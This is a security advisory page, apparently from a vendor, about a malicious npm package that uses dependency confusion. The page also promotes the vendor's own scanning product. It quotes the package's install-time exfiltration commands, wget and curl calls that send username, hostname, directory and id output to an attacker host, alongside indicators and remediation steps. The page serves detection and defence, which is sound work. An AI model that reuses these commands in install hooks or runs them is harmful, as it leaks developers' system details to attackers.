What does the @stockrepublic/republic-components malware do?

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on `npm install`: 1. package.json `preinstall` runs `wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`, leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc. 2. package.json `install` runs `node index.js`, which at index.js line 11 invokes `execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F file=@log.txt https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://

Which versions of @stockrepublic/republic-components are malicious?

The following npm versions of @stockrepublic/republic-components are flagged malicious: 99.0.0, 100.0.0. Treat any of these as compromised.

How do I remediate @stockrepublic/republic-components if I installed it?

@stockrepublic/republic-components is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @stockrepublic/republic-components — how do I know if it already compromised me?

If @stockrepublic/republic-components was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @stockrepublic/republic-components part of a known attack campaign?

Yes — @stockrepublic/republic-components is associated with the IN-MAL-2026-004539, IN-MAL-2026-004540, IN-MAL-2026-004541 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @stockrepublic/republic-components across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stockrepublic/republic-components (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stockrepublic/republic-components across your stack and pipelines.

Malicious package

@stockrepublic/republic-componentsnpm

Malicious code in @stockrepublic/republic-components (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4289

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @stockrepublic/republic-components

What this malware does

The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on npm install:

package.json preinstall runs wget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc.
package.json install runs node index.js, which at index.js line 11 invokes execSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F [email protected] https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp"), exfiltrating uid/gid output and a directory listing of the consumer's project.

The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure.

The OpenSSF Package Analysis project identified '@stockrepublic/republic-components' @ 99.0.0 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged

99.0.0100.0.0

Indicators of compromise (SHA-256)

f5dd919316a540368ded0f9b3b7dc25a4f937373069ad4dfe1262c3b48f2949c

300b309644b646817c47a283d8b9aaa018e8ae0f59986207f55fd0c39dca872a

cccc2f3457a8267127a9715173a83640bd4e301797fc5d4e0345f91bf924e4ac

eea914c1229cc6bbc788730857e871dae1f161a0b0e1dece234e336252bd1155

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stockrepublic/republic-components (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stockrepublic/republic-components across your stack and pipelines.
If you installed it — respond
@stockrepublic/republic-components is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stockrepublic/republic-components was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stockrepublic/republic-components before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @stockrepublic/republic-components on npm has been identified as a malicious package (versions 99.0.0, 100.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004539IN-MAL-2026-004540IN-MAL-2026-004541

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks @stockrepublic/republic-components-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring